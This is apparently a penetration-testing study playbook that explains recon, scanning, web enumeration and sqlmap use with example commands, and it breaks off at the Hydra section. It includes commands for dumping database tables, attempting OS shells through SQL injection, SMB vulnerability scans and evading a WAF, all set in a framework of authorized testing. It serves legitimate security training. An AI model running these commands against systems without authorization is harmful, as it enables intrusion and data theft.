Recon
Scan
Exploit
Report

VAPT Tools Playbook

Hack The Right Way !

22 Essential Tools, End to End

Recon → Enumerate → Scan → Exploit → Crack → Report

Descriptions + Every Command Explained + Wordlists + Next Steps

1. Nmap
2. RustScan
3. Masscan
4. Nikto
5. Nessus
6. OpenVAS / Greenbone
7. Nuclei
8. Gobuster
9. ffuf
10. Feroxbuster
11. dirsearch
12. sqlmap
13. Hydra
14. Medusa
15. John the Ripper
16. Hashcat
17. CeWL
18. curl
19. msfconsole (Metasploit)
20. Netcat
21. Socat
22. Wireshark

Written by **Sujal** · VAPT / Red Team Study Companion

How to Use This Playbook

The VAPT flow this playbook follows

1. **Recon** — Find live hosts and open ports
   Nmap, RustScan, Masscan
2. **Enumerate** — Map out services, web paths, subdomains
   Nikto, Gobuster, ffuf, Feroxbuster, dirsearch
3. **Scan** — Match services/versions against known CVEs
   Nessus, OpenVAS, Nuclei, Nmap NSE
4. **Exploit** — Turn a finding into confirmed access
   sqlmap, Metasploit, Hydra, Medusa
5. **Crack & Move** — Recover passwords, pivot, go deeper
   CeWL, John, Hashcat, Netcat, Socat

6 Golden Rules Before You Touch Any Tool

Always confirm scope & authorization first
Every tool here can be disruptive — Masscan floods, sqlmap can write to a DB, Hydra can lock accounts. Get written authorization and know the rules of engagement before running anything.

Passive/quiet before loud/intrusive
Start with -sn pings, banner grabs and safe NSE scripts before brute force, --script vuln or sqlmap's higher --risk/--level levels.

Save raw output, always
-oA for Nmap, -o for every other tool. Raw evidence is what makes a report defensible later.

One variable at a time
When a scan/attack isn't working, change one flag (threads, wordlist, timeout) at a time so you know what fixed it.

Manually verify every automated finding
Nikto, Nuclei and Nessus all produce false positives. A 30-second curl/browser check before reporting saves credibility.

Respect lockouts and rate limits
Hydra/Medusa/sqlmap can lock real accounts or trip a WAF. Check policy, start slow (-t 1-4), and escalate speed carefully.

Every tool page contains

- **What it is** and a quick analogy so it sticks
- **Why / when** you reach for it in an engagement
- **Core flags** table: flag on the left, meaning on the right
- **Commands explained**: real command on the left, exact result/what to look for on the right
- **Best wordlists** where relevant
- **Pro tips** and a **Next step** — what to do once this tool gives you something

Run every command only against systems you are authorised to test (your own lab, TryHackMe/HTB, or a signed engagement scope). Replace example IPs (10.10.10.x) and target.com with your real lab/scope values.

Tool Index

#	Tool	Category	One-line role
1	Nmap	Recon & Scanning	The Swiss-army knife of network scanning
2	RustScan	Recon & Scanning	A blazing-fast port scanner that feeds Nmap
3	Masscan	Recon & Scanning	Internet-scale port scanner (millions of hosts/sec)
4	Nikto	Vulnerability Scanning	Fast web-server misconfiguration & known-vuln scanner
5	Nessus	Vulnerability Scanning	Industry-standard authenticated/unauthenticated vuln scanner
6	OpenVAS / Greenbone	Vulnerability Scanning	Free, open-source alternative to Nessus
7	Nuclei	Vulnerability Scanning	Fast, template-based vulnerability scanner
8	Gobuster	Web Enumeration	Fast Go-based directory, DNS & vhost brute-forcer
9	ffuf	Web Enumeration	Extremely fast, flexible fuzzer (dirs, params, vhosts, everything)
10	Feroxbuster	Web Enumeration	Recursive Rust-based content discovery, built-in recursion
11	dirsearch	Web Enumeration	Python directory/file brute-forcer with great extension handling
12	sqlmap	Web Exploitation	Automated SQL injection detection & exploitation
13	Hydra	Password Attacks	Fast, parallel network login brute-forcer
14	Medusa	Password Attacks	Hydra's cousin — modular, speed-focused login brute-forcer
15	John the Ripper	Password Attacks	The classic offline password-hash cracker
16	Hashcat	Password Attacks	GPU-accelerated password cracker — the fastest option
17	CeWL	Password Attacks	Custom Word List generator — builds a wordlist FROM the target
18	curl	Network Utilities	The universal command-line HTTP/network client
19	msfconsole (Metasploit)	Web Exploitation	The framework for finding, configuring and firing exploits
20	Netcat	Network Utilities	The 'TCP/IP Swiss-army knife' — raw socket listener/connector
21	Socat	Network Utilities	Netcat's more powerful, flexible sibling
22	Wireshark	Packet Analysis	The standard GUI packet capture & analysis tool

Suggested path: Recon (1-3) → Vulnerability Scanning (4-7) → Web Enumeration (8-11) → Web Exploitation (12,19) → Password Attacks (13-17) → Network Utilities & Packet Analysis (18,20-22).

1 Nmap

Recon & Scanning | The Swiss-army knife of network scanning

Analogy

Nmap is a security guard walking down a street, knocking on every door (port) of every house (host) to see which are open, who answers (service/version) and what kind of lock they use (OS).

What is it?

Network Mapper: discovers live hosts, open ports, running services/versions and OS fingerprints. Almost every VAPT engagement starts here — it tells you what is alive and what to attack next.

Why / When to use it

Install: `sudo apt install nmap (prebuilt on Kali/Parrot)`

- First step of every pentest: know your targets before touching them
- Confirms which ports/services are actually reachable (not just assumed)
- Service/version detection tells you which exploits or CVEs may apply
- NSE scripts extend it into a mini vuln scanner (see the NSE deep-dive page)

Core flags & syntax

Flag	Meaning
`-sS`	SYN 'half-open' scan — fast, stealthy, needs root
`-sT`	Full TCP connect scan — no root needed, noisier
`-sU`	UDP scan — slower, checks UDP services (DNS, SNMP)
`-sV`	Service/version detection on open ports
`-O`	OS detection (needs at least one open+closed port)

Flag	Meaning
`-A`	Aggressive: OS + version + scripts + traceroute combined
`-p-`	Scan all 65535 ports (default is top 1000)
`-T4`	Timing template 0-5; T4 is fast and safe for most networks
`-oA name`	Save output in all 3 formats (.nmap/.xml/.gnmap)
`--script=<name>`	Run one or more NSE scripts (see NSE page)

Commands explained (what it does & what you get)

Command	What it does / result
`nmap -sn 192.168.1.0/24`	Ping sweep only, no port scan — quickly lists which hosts in the subnet are alive.
`nmap -sS -T4 -p- 10.10.10.5`	Full SYN scan of all ports — the real 'don't miss anything' scan; gives every open port.
`nmap -sV -sC -p22,80,443 10.10.10.5`	Version detection + default safe scripts on specific ports — quick service fingerprint of common ports.
`nmap -A -T4 10.10.10.5 -oA fullscan`	Aggressive all-in-one scan with output saved to fullscan.nmap/.xml/.gnmap for reporting.
`nmap -sU --top-ports 20 10.10.10.5`	Scans the 20 most common UDP ports — UDP is slow, so narrow it down first.
`nmap --script vuln 10.10.10.5`	Runs every NSE script in the 'vuln' category — flags known CVEs on detected services.
`nmap -p 445 --script smb-vuln* 10.10.10.5`	Targets SMB (445) with all SMB vulnerability scripts — checks EternalBlue and friends.
`nmap -iL targets.txt -oG - | grep open`	Scans a list of hosts from a file and greps only lines with open ports.

Pro tips

- Always run a quick -sn sweep before a slow full scan, to avoid wasting time on dead hosts
- -Pn skips host-discovery ping — use it when ICMP is blocked but you know the host is up
- Combine -sV with --version-intensity 9 for the most thorough (but slowest) version match
- Save output with -oA every time — .xml feeds tools like Metasploit and reporting scripts

Next step

Open ports → run -sV -sC on them → cross-reference versions with searchsploit/CVE → for web ports (80/443) move to Gobuster/ffuf + Nikto → for SMB/RDP move to Hydra/Metasploit.

2 RustScan

Recon & Scanning | A blazing-fast port scanner that feeds Nmap

Analogy

If Nmap is a careful guard checking every door, RustScan is a drone that flies over all 65,535 doors in seconds and just marks which ones are unlocked — then hands that shortlist to Nmap to actually inspect them properly.

What is it?

An extremely fast port scanner written in Rust that scans all 65535 ports in seconds using async sockets, then automatically pipes the open ports into Nmap for deep service/version scanning.

Why / When to use it

Install: `sudo apt install rustscan OR cargo install rustscan`

- Full-range scans that take Nmap minutes take RustScan seconds
- Great for time-boxed CTFs/pentests and large IP ranges
- Removes the temptation to skip -p- because a full scan felt 'too slow'

Core flags & syntax

Flag	Meaning
`-a <ip>`	Target address or CIDR range
`-p <ports>`	Specific ports/ranges instead of all 65535
`-b <n>`	Batch size (parallel sockets) — raise for speed, lower if packets drop

Flag	Meaning
`-t <ms>`	Timeout per port in milliseconds
`-- <nmap args>`	Everything after -- is passed straight to Nmap
`--ulimit <n>`	Raise the OS file-descriptor limit for very high batch sizes

Commands explained (what it does & what you get)

Command	What it does / result
`rustscan -a 10.10.10.5`	Scans all 65535 ports on the host in a few seconds and prints the open ones.
`rustscan -a 10.10.10.5 -- -sV -sC`	Open ports are found by RustScan, then automatically fed into Nmap for version + default scripts.
`rustscan -a 10.10.10.5 -b 4500 -t 1500`	Faster batch scan (4500 parallel sockets, 1.5s timeout) for a responsive target.
`rustscan -a 192.168.1.0/24 -- -sn`	Fast host-discovery across a whole subnet before you scan each host individually.
`rustscan -a 10.10.10.5 -p 1-1000 -- -A`	Limits to the first 1000 ports then runs Nmap's aggressive scan on just those.

Pro tips

- Always chain into Nmap with -- so you still get proper service/version data, not just port numbers
- On a shaky connection lower -b (batch size) to avoid missing open ports from dropped packets
- RustScan is a scanner, not a vuln scanner — its whole job is to make Nmap's -p- step instant

Next step

Feed the open-port list straight into targeted Nmap -sV -sC, then branch per service exactly like a normal Nmap result (web → Gobuster/Nikto, SMB → enum4linux, etc.).

3 Masscan

Recon & Scanning | Internet-scale port scanner (millions of hosts/sec)

Analogy

Masscan is not one drone but an entire drone swarm covering an entire city block by block, checking one specific door type (port) across thousands of houses (IPs) at once. It sacrifices detail for raw scale and speed.

What is it?

An asynchronous, stateless port scanner built for scanning very large ranges (a /8 network or the whole internet) at millions of packets per second. Used to find which hosts have a specific port open across huge ranges, not for deep analysis.

Why / When to use it

Install: `sudo apt install masscan`

- Ideal when the scope is a large external range, not a single host
- Finds 'who has port 3389/445/22 open' across thousands of IPs in minutes
- Often the first step in large external attack-surface assessments

Core flags & syntax

Flag	Meaning
`-p<ports>`	Port(s) to scan, e.g. -p80,443 or -p1-65535
`--rate=<n>`	Packets per second — controls scan speed/aggressiveness
`-oL / -oJ / -oX file`	Output as list / JSON / XML

Flag	Meaning
`--banners`	Grab simple banners from open ports
`-e <iface>`	Network interface to send packets from
`--router-ip / --source-ip`	Manually set routing/source IP if auto-detect fails

Commands explained (what it does & what you get)

Command	What it does / result
`sudo masscan 10.0.0.0/8 -p443 --rate=10000`	Scans an entire /8 for port 443 at 10k packets/sec — finds every host with HTTPS open.
`sudo masscan 192.168.1.0/24 -p1-65535 --rate=1000 -oL out.txt`	Full port range scan of a /24, output saved as a plain list for later parsing.
`sudo masscan -p22,80,443,3389,445 10.10.0.0/16 --rate=5000 --banners`	Common-port sweep of a /16 with basic banner grabbing on each open port.
`sudo masscan -p0-65535 203.0.113.10 --rate=100 -oX result.xml`	Slow, careful full scan of a single host (rate 100) so it doesn't look like a flood — XML output for tooling.

Pro tips

- Masscan is aggressive by default — start with a low --rate on scopes you don't fully own or on fragile networks
- It does NOT do service/version detection like Nmap — treat its output as a target list, then re-scan interesting hosts with nmap -sV
- Always confirm scan scope and rate limits with the client/rules-of-engagement before a large-range scan

Next step

Take the open-host:port list → run targeted Nmap -sV -sC on each → route into the same per-service playbooks (web, SMB, RDP, DB) as a normal Nmap result.

4 Nikto

Vulnerability Scanning | Fast web-server misconfiguration & known-vuln scanner

Analogy

Nikto is an inspector who walks into a shop and immediately checks the obvious stuff: is the back door labelled, are old expired signs still up, is a manager's private folder just sitting in the front window. It is quick and loud, not sneaky.

What is it?

A command-line web server scanner that checks for thousands of known dangerous files/CGIs, outdated server software, and common misconfigurations. It is loud and fast — great for an early, broad sweep of a web server, not for deep exploitation.

Why / When to use it

Install: `sudo apt install nikto`

- Gives a quick 'what's obviously wrong' report on a web server in minutes
- Flags outdated software versions with known CVEs
- Finds default/backup files and dangerous HTTP methods the admin forgot about

Core flags & syntax

Flag	Meaning
`-h <host>`	Target host/URL
`-p <port>`	Target port (default 80, use 443 with -ssl)
`-ssl`	Force SSL/HTTPS mode

Flag	Meaning
`-Tuning <x>`	Limit scan to specific test categories (e.g. 4 = injection, 9 = SQLi)
`-o file -Format htm`	Save report to a file in a chosen format
`-useproxy http://127.0.0.1:8080`	Route requests through Burp/ZAP for further manual review

Commands explained (what it does & what you get)

Command	What it does / result
`nikto -h http://10.10.10.5`	Baseline scan of a web server — server banner, outdated components, dangerous files, misconfig headers.
`nikto -h https://target.com -ssl -p 443`	Same scan forced over HTTPS on port 443.
`nikto -h target.com -Tuning 9 -o sqltests.txt`	Runs only SQL-injection-related tests and saves the results to a file.
`nikto -h 10.10.10.5 -useproxy http://127.0.0.1:8080`	Sends every Nikto request through Burp Suite so you can inspect/replay interesting findings manually.
`nikto -h target.com -Display V`	Verbose mode — shows every request/response detail as it scans, useful when debugging false positives.

Pro tips

- Nikto is noisy and easily logged/blocked by a WAF — do not rely on it for stealthy engagements
- Treat every finding as a lead, not proof: confirm interesting hits manually (curl/browser) before reporting
- Run it early alongside Gobuster/ffuf; together they cover 'known bad files' + 'hidden custom paths'

Next step

Any flagged file/CGI/backup → open it manually with curl/browser to confirm → outdated software version → check searchsploit/CVE databases → interesting paths feed into the Web Enumeration next-steps page.

5 Nessus

Vulnerability Scanning | Industry-standard authenticated/unauthenticated vuln scanner

Analogy

Nessus is a full medical check-up machine: blood test, X-ray, everything, for every host you point it at. It doesn't just knock on doors like Nmap — it walks inside (with credentials) and checks every organ (patch level, configuration, weak settings) against a huge library of known diseases (CVEs).

What is it?

A commercial (with a free Essentials tier) vulnerability scanner that checks hosts against tens of thousands of known CVEs and misconfigurations, with or without credentials, and produces a prioritized, CVSS-scored report.

Why / When to use it

Install: `Download .deb from tenable.com, then: sudo dpkg -i Nessus-*.deb && sudo systemctl start nessusd (web UI at https://localhost:8834)`

- The de-facto scanner clients expect to see referenced in a VAPT report
- Authenticated scans find missing patches and local misconfigs unauthenticated scanning can't see
- Automatically maps findings to CVE/CVSS for prioritization

Core flags & syntax

Flag	Meaning
`Policy: Basic Network Scan`	General unauthenticated sweep of a range
`Policy: Advanced Scan`	Full control over plugins/ports/timing
`Credentials tab`	Add SSH/SMB/WinRM creds for authenticated (much deeper) scans

Flag	Meaning
`Plugin families`	Enable/disable categories like 'Web Servers', 'Windows', 'Denial of Service' (leave DoS off in prod!)
`Report export`	.nessus / PDF / CSV / HTML for client-ready reporting

Commands explained (what it does & what you get)

Command	What it does / result
`Basic Network Scan on 10.10.10.0/24`	Standard unauthenticated policy — good first pass on an internal range.
`Advanced Scan + SSH credentials on Linux hosts`	Authenticated scan logs in and checks actual patch levels, not just banners — far fewer false positives.
`Advanced Scan + SMB/WinRM credentials on Windows hosts`	Same idea for Windows: missing KBs, weak GPOs, local misconfig.
`Web Application Tests policy on a URL`	Focused plugin set for web-specific issues (headers, SSL, common CMS flaws).
`Export report as .nessus then import into Metasploit`	Feeds Nessus findings directly into Metasploit's db_import for exploit matching.

Pro tips

- Unauthenticated scans miss a LOT — always push for credentials in an internal/grey-box engagement
- Disable 'Denial of Service' plugins unless explicitly authorized — some can crash production services
- Cross-check Critical/High findings manually; Nessus false positives happen, especially on custom software

Next step

Sort findings by CVSS/Critical-High → verify top hits manually (metasploit/searchsploit/manual PoC) → anything web-related also gets checked with Nikto/Burp for confirmation before it goes in the report.

6 OpenVAS / Greenbone

Vulnerability Scanning | Free, open-source alternative to Nessus

Analogy

OpenVAS is the community hospital version of the same full check-up Nessus gives at a private clinic — free, thorough, slightly slower and with its own reporting style, but built on the same idea: compare the target against a giant library of known problems.

What is it?

The open-source vulnerability scanning framework (now branded Greenbone Vulnerability Management/GVM) with a constantly updated feed of Network Vulnerability Tests (NVTs). Free alternative to Nessus, commonly bundled in Kali/Security Onion style distros.

Why / When to use it

Install: `sudo apt install gvm && sudo gvm-setup && sudo gvm-start (web UI at https://localhost:9392)`

- Zero licence cost, fully open source — good for labs, learning and budget-limited engagements
- Same core value as Nessus: broad, up-to-date, CVE-backed vulnerability coverage
- Good second-opinion scanner to cross-check Nessus results

Core flags & syntax

Flag	Meaning
`Scan Config: Full and fast`	Default balanced policy for most scans
`Scan Config: Full and very deep`	Slower, more thorough, more plugins
`Target > Credentials`	Add SSH/SMB creds for authenticated local checks

Flag	Meaning
`Alerts`	Auto-email/export report when a scan finishes
`Task > Schedule`	Run scans automatically on a recurring schedule

Commands explained (what it does & what you get)

Command	What it does / result
`Create Target → add IP/range`	Defines what GVM will scan (single host, CIDR range or list).
`Create Task with 'Full and fast' config`	Runs the standard scan: port scan + broad NVT set against every host in the target.
`Add SSH credentials to the target`	Enables authenticated Linux checks (patch level, local config) for far fewer false positives.
`View Results sorted by Severity`	Findings ranked Critical → Low with CVSS score and a description/solution for each.
`Export report as PDF or XML`	Client-ready report, or XML for feeding into other tooling.

Pro tips

- The NVT feed sync on first install can take hours — run gvm-setup well before you need it
- Authenticated scans (creds added) find dramatically more real issues than unauthenticated
- Use it alongside Nessus on large engagements as a cross-check — different engines occasionally catch different things

Next step

Same as Nessus: prioritize Critical/High, manually verify top findings, and route anything web-facing into Nikto/Burp/manual testing for a confirmed PoC before reporting.

7 Nuclei

Vulnerability Scanning | Fast, template-based vulnerability scanner

Analogy

Nuclei is like having thousands of tiny, very specific detectives, each trained to spot exactly ONE known crime scene pattern (one CVE, one misconfig, one exposed panel). You send them all in at once and they each shout only when they find their exact match.

What is it?

An open-source scanner from ProjectDiscovery that sends requests defined in YAML 'templates' — each template checks for one specific vulnerability, exposed panel, CVE, misconfig or tech fingerprint. The community template library covers tens of thousands of checks and updates constantly.

Why / When to use it

Install: `sudo apt install nuclei OR go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest then: nuclei -update-templates`

- Extremely fast and low false-positive because each template is a precise, community-vetted check
- Huge, constantly updated template library — new CVEs get templates within days
- Perfect for scanning many hosts (bug bounty scope, large VAPT scope) for known issues fast

Core flags & syntax

Flag	Meaning
`-u <url>`	Single target URL
`-l <file>`	List of target URLs from a file
`-t <path>`	Run only templates in a specific folder/category
`-severity critical,high`	Only run/show templates of chosen severity

Flag	Meaning
`-tags cve,exposed-panel`	Filter templates by tag
`-rate-limit <n>`	Requests per second — be polite on shared/production targets
`-o out.txt`	Save results to a file

Commands explained (what it does & what you get)

Command	What it does / result
`nuclei -u https://target.com`	Runs the full default template set against one URL and prints every match found.
`nuclei -l urls.txt -severity critical,high -o results.txt`	Scans a whole list of URLs but only reports critical/high severity issues, saved to a file.
`nuclei -u https://target.com -tags cve`	Runs only templates tagged as known CVEs against the target.
`nuclei -u https://target.com -t exposures/ -t misconfiguration/`	Focused run on exposed-file and misconfiguration template categories only.
`nuclei -l subdomains.txt -rate-limit 50 -c 25`	Scans many subdomains politely: 50 requests/sec across 25 concurrent threads.

Pro tips

- Always run -update-templates before a real engagement — new CVE templates are added daily
- Start with -severity critical,high on large scopes to surface the most important findings first
- Nuclei findings are usually high-confidence — but still confirm exploitability manually before reporting as Critical

Next step

Any CVE/exposed-panel match → manually confirm with curl/browser → check for a public PoC/exploit-db entry → chain into msfconsole or manual exploitation if it's confirmed real.

8 Gobuster

Web Enumeration | Fast Go-based directory, DNS & vhost brute-forcer

Analogy

Gobuster is trying every key on a giant keyring (a wordlist) against a building's doors (URLs), one after another, super fast, and telling you exactly which keys opened a door and what was behind it (status code).

What is it?

A brute-force tool for discovering hidden directories/files (dir mode), subdomains (dns mode), and virtual hosts (vhost mode) on a web server, by requesting every word from a wordlist as a path and checking the response.

Why / When to use it

Install: `sudo apt install gobuster`

- Finds hidden admin panels, backup files and forgotten endpoints that aren't linked anywhere
- dns mode discovers subdomains that expand the attack surface
- vhost mode finds other sites hosted on the same IP under a different Host header

Core flags & syntax

Flag	Meaning
`dir -u <url> -w <wordlist>`	Directory/file brute-force mode
`dns -d <domain> -w <wordlist>`	Subdomain brute-force mode
`vhost -u <url> -w <wordlist>`	Virtual host brute-force mode
`-x php,txt,bak`	Also try these file extensions on each word

Flag	Meaning
`-t 50`	Number of concurrent threads
`-s 200,301,302`	Only show these status codes
`-k`	Skip SSL certificate verification

Commands explained (what it does & what you get)

Command	What it does / result
`gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak`	Brute-forces common directories/files and also tries .php/.txt/.bak on each word — classic first pass.
`gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 60`	Larger, more thorough wordlist with 60 threads for a deeper sweep.
`gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt`	Brute-forces subdomains of target.com using a top-5000 subdomain wordlist.
`gobuster vhost -u http://10.10.10.5 -w vhosts.txt --append-domain`	Finds other virtual hosts served by the same IP by trying different Host headers.
`gobuster dir -u https://target.com -w common.txt -s 200,301,302,403 -k`	HTTPS scan (ignoring cert errors) showing OK/redirect/forbidden hits — 403s are often worth a second look.

Best wordlists

- /usr/share/wordlists/dirb/common.txt — fast first pass
- SecLists Discovery/Web-Content/raft-medium/large-directories.txt — thorough second pass
- SecLists Discovery/Web-Content/directory-list-2.3-medium.txt — very popular, good balance
- SecLists Discovery/DNS/subdomains-top1million-5000.txt — subdomain brute-forcing

Pro tips

- Start with common.txt (fast), escalate to raft-large or directory-list-2.3 if the target looks worth the time
- Always add relevant extensions with -x based on the tech stack (php, asp, aspx, jsp, txt, bak, zip)
- A wall of identical-size 200 responses usually means a custom 'soft 404' page — add -e or filter by response size instead of status code

Next step

Every 200/301/403 hit → open manually to confirm real content → route into the Web Discovery Next-Steps page for exact follow-up (admin/login/api/backup/.git/uploads).

9 ffuf

Web Enumeration | Extremely fast, flexible fuzzer (dirs, params, vhosts, everything)

Analogy

ffuf is a universal fuzzer: instead of only trying paths like Gobuster, it can insert your wordlist into ANY part of a request — URL path, parameter name, parameter value, header, even POST body — wherever you put the FUZZ keyword.

What is it?

A fast web fuzzer written in Go, more flexible than Gobuster because the FUZZ keyword can be placed anywhere in the request (URL, headers, POST data, cookies), making it useful for directory brute-forcing, parameter discovery, vhost discovery and more.

Why / When to use it

Install: `sudo apt install ffuf OR go install github.com/ffuf/ffuf/v2@latest`

- One tool for directories, parameters, vhosts and even API endpoint fuzzing
- Filtering by response size/words/lines makes it easy to cut noise from soft-404 pages
- Very fast, actively maintained, huge community usage in bug bounty and VAPT

Core flags & syntax

Flag	Meaning
`-u <url with FUZZ>`	Target URL; FUZZ marks where the wordlist is injected
`-w <wordlist>`	Wordlist file to use
`-fc <codes>`	Filter OUT these status codes from results
`-fs <size>`	Filter OUT responses of this exact size (kills soft-404 noise)

Flag	Meaning
`-mc <codes>`	Match ONLY these status codes
`-H "Header: FUZZ"`	Fuzz a header value (e.g. Host header for vhosts)
`-X POST -d "user=FUZZ"`	Fuzz inside a POST body
`-t <n>`	Threads

Commands explained (what it does & what you get)

Command	What it does / result
`ffuf -u http://target.com/FUZZ -w common.txt -fc 404`	Basic directory fuzzing, hiding plain 404 responses so only real hits show.
`ffuf -u http://target.com/FUZZ -w common.txt -fs 1234`	Hides every response that is exactly 1234 bytes — the usual size of that site's fake 404 page.
`ffuf -u "http://target.com/page.php?FUZZ=1" -w params.txt -mc 200`	Fuzzes parameter NAMES on a page to discover hidden GET parameters.
`ffuf -u http://target.com/ -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0`	Fuzzes the Host header to discover virtual hosts on the same IP.
`ffuf -u http://target.com/api/FUZZ -w api-endpoints.txt -mc 200,401,403`	Discovers API endpoints — even 401/403 responses confirm the endpoint exists (needs auth).

Best wordlists

- SecLists Discovery/Web-Content/raft-medium-words.txt for directories
- SecLists Discovery/Web-Content/api/api-endpoints.txt for API fuzzing
- SecLists Discovery/Web-Content/burp-parameter-names.txt for parameter discovery
- SecLists Discovery/DNS/subdomains-top1million-*.txt for vhost/subdomain fuzzing

Pro tips

- Always do one 'calibration' request first to see the default 404 response size, then use -fs to filter it out
- -mc 200,301,302,401,403 is often more useful than -fc, since 401/403 still confirm something exists
- Combine -recursion -recursion-depth 2 to automatically fuzz into discovered directories

Next step

Confirmed hits → same Web Discovery Next-Steps flow as Gobuster (check /api, /admin, /backup, /.git specifically).

10 Feroxbuster

Web Enumeration | Recursive Rust-based content discovery, built-in recursion

Analogy

If Gobuster checks every door on one floor, Feroxbuster automatically walks through any door it opens and checks every door on the floor behind it too — recursively — without you having to re-run the scan yourself.

What is it?

A fast, Rust-based content-discovery tool similar to Gobuster/dirsearch, but with recursion built in by default: when it finds a directory, it automatically scans inside it too, and it auto-filters repetitive 'soft 404' responses.

Why / When to use it

Install: `sudo apt install feroxbuster`

- Recursion is automatic — saves manually re-running Gobuster on every new folder found
- Smart auto-filtering of wildcard/soft-404 responses out of the box
- Good default choice when you want a thorough scan without babysitting it

Core flags & syntax

Flag	Meaning	Flag	Meaning
`-u <url>`	Target URL	`-t <n>`	Threads
`-w <wordlist>`	Wordlist	`-C <codes>`	Status codes to filter/hide
`-x php,txt`	Extensions to try	`--dont-scan <path>`	Exclude a specific path from scanning
`-d <n>`	Max recursion depth (default 4)	`-o file`	Save output to a file

Commands explained (what it does & what you get)

Command	What it does / result
`feroxbuster -u http://10.10.10.5 -w common.txt`	Runs a recursive scan out of the box — found directories get automatically scanned again.
`feroxbuster -u http://target.com -w raft-medium-directories.txt -x php,html,txt -t 100`	Adds relevant extensions and raises thread count for a faster, thorough scan.
`feroxbuster -u http://target.com -w common.txt -d 2`	Limits recursion depth to 2 levels to keep runtime reasonable on a big site.
`feroxbuster -u http://target.com -w common.txt -C 404,403 -o results.txt`	Filters out 404/403 noise and saves the clean results to a file.

Best wordlists

- SecLists raft-medium-directories.txt — great default for Feroxbuster's recursion style
- dirb/common.txt for a fast first look before a deeper recursive run

Pro tips

- Because it recurses automatically, a huge wordlist + deep site can run for a long time — set -d to cap depth on big targets
- Use --dont-scan to exclude known noisy paths (e.g. a huge /images/ folder) so the scan stays focused

Next step

Same Web Discovery Next-Steps flow — Feroxbuster's advantage is it will also auto-explore any subfolder it finds, so check its full tree output, not just top-level hits.

11 dirsearch

Web Enumeration | Python directory/file brute-forcer with great extension handling

Analogy

dirsearch is a very organised clerk who goes through the wordlist alphabetically, tries every relevant file extension for the tech stack automatically, and neatly reports back with color-coded results by status.

What is it?

A Python-based web path scanner focused on simplicity and good defaults: smart extension substitution ({%EXT%} in wordlists), recursive scanning, and clean reporting formats (plain/json/csv/html).

Why / When to use it

Install: `sudo apt install dirsearch OR git clone https://github.com/maurosoria/dirsearch && pip3 install -r requirements.txt`

- Very beginner-friendly with sensible defaults out of the box
- Good wordlist format support (%EXT% placeholder) for multi-extension brute-forcing
- Clean report formats make it easy to hand results to a report or another tool

Core flags & syntax

Flag	Meaning
`-u <url>`	Target URL
`-w <wordlist>`	Wordlist file
`-e php,html,js`	Extensions to test
`-r`	Enable recursive scanning into found directories

Flag	Meaning
`-t <n>`	Threads
`-x <codes>`	Exclude these status codes from output
`-o file --format json`	Save results in a chosen format

Commands explained (what it does & what you get)

Command	What it does / result
`dirsearch -u http://10.10.10.5 -e php,html,txt,bak`	Scans common extensions against the target, a solid general-purpose first pass.
`dirsearch -u http://target.com -w SecLists/raft-medium-words.txt -r`	Uses a larger wordlist and turns on recursive scanning into discovered folders.
`dirsearch -u http://target.com -e php -x 403,404 -o out.json --format json`	Focuses on PHP files, hides 403/404 noise, and exports clean JSON for later processing.
`dirsearch -u http://target.com --random-agent -t 30`	Randomizes the User-Agent per request (helps avoid simple WAF signature blocks) at 30 threads.

Best wordlists

- dirsearch's bundled db/dicc.txt (good general default)
- SecLists raft-medium/large-words.txt for a deeper pass

Pro tips

- Use --random-agent and a reasonable -t on targets protected by a WAF to reduce simple blocking
- -r (recursive) can massively increase scan time on large sites — combine with a smaller wordlist

Next step

Same next-step flow as Gobuster/ffuf/Feroxbuster — treat every real hit through the Web Discovery Next-Steps page.

12 sqlmap

Web Exploitation | Automated SQL injection detection & exploitation

Analogy

sqlmap is a locksmith who doesn't just check if a lock (input field) is weak — if it is, he automatically picks it, opens the safe (database), and starts reading out everything inside, all on his own.

What is it?

An open-source tool that automates detecting and exploiting SQL injection vulnerabilities, then goes further: dumping databases, reading/writing files, and even getting an OS shell on the database server, across MySQL, MSSQL, Oracle, PostgreSQL and more.

Why / When to use it

Install: `sudo apt install sqlmap`

- Turns a suspected injection point into confirmed proof (and full data extraction) automatically
- Supports every major DB engine and every major injection technique (boolean, error, time-based, UNION, stacked)
- Saves huge manual effort versus hand-crafting payloads

Core flags & syntax

Flag	Meaning
`-u <url>`	Target URL, include the vulnerable parameter
`--data "<postbody>"`	Test a POST request instead of GET
`--cookie "<cookie>"`	Send a session cookie (for authenticated testing)
`--dbs`	List all databases once injection is confirmed
`-D <db> --tables`	List tables in a chosen database

Flag	Meaning
`-D <db> -T <table> --dump`	Dump all data from a chosen table
`--os-shell`	Attempt to get an OS command shell on the DB server
`--risk 3 --level 5`	Maximum thoroughness/aggressiveness of tests run
`--batch`	Answer all prompts with the default, for automated/scripted runs

Commands explained (what it does & what you get)

Command	What it does / result
`sqlmap -u "http://target.com/item.php?id=1"`	Basic test: checks the id parameter for SQL injection and reports the technique/DBMS if vulnerable.
`sqlmap -u "http://target.com/item.php?id=1" --cookie="PHPSESSID=abc123" --dbs`	Authenticated test using a session cookie, then lists all databases if injection is confirmed.
`sqlmap -u "http://target.com/login.php" --data="user=a&pass=b" -p user`	Tests a POST-based login form, specifically targeting the 'user' parameter.
`sqlmap -u "http://target.com/item.php?id=1" -D shop -T users --dump`	Dumps every row of the 'users' table from the 'shop' database once access is confirmed.
`sqlmap -u "http://target.com/item.php?id=1" --os-shell`	Attempts to escalate a confirmed injection into a full OS command shell on the database server.
`sqlmap -r request.txt --batch --risk 3 --level 5`	Replays a raw request saved from Burp Suite, runs the most thorough test set, and auto-confirms every prompt.

Pro tips

- Save a request from Burp as request.txt and use -r — far more reliable than hand-building the -u/--data flags
- --batch is great for automation but review what it assumes; run interactively first on important targets
- Higher --level/--risk finds more but is slower and can trip WAFs/lockouts — dial it in per engagement

Next step

Confirmed injection → dump only what's needed for evidence (not the whole DB in a report) → check for --os-shell potential only if scope/impact justifies it → document exact payload and parameter for the report.

13 Hydra

Password Attacks | Fast, parallel network login brute-forcer

Analogy

Hydra is a person standing at a locked door with a huge ring of keys (password wordlist), trying every key against the lock as fast as possible — and it can do this simultaneously against many different doors (services) at once: SSH, FTP, RDP, web logins, and more.

What is it?

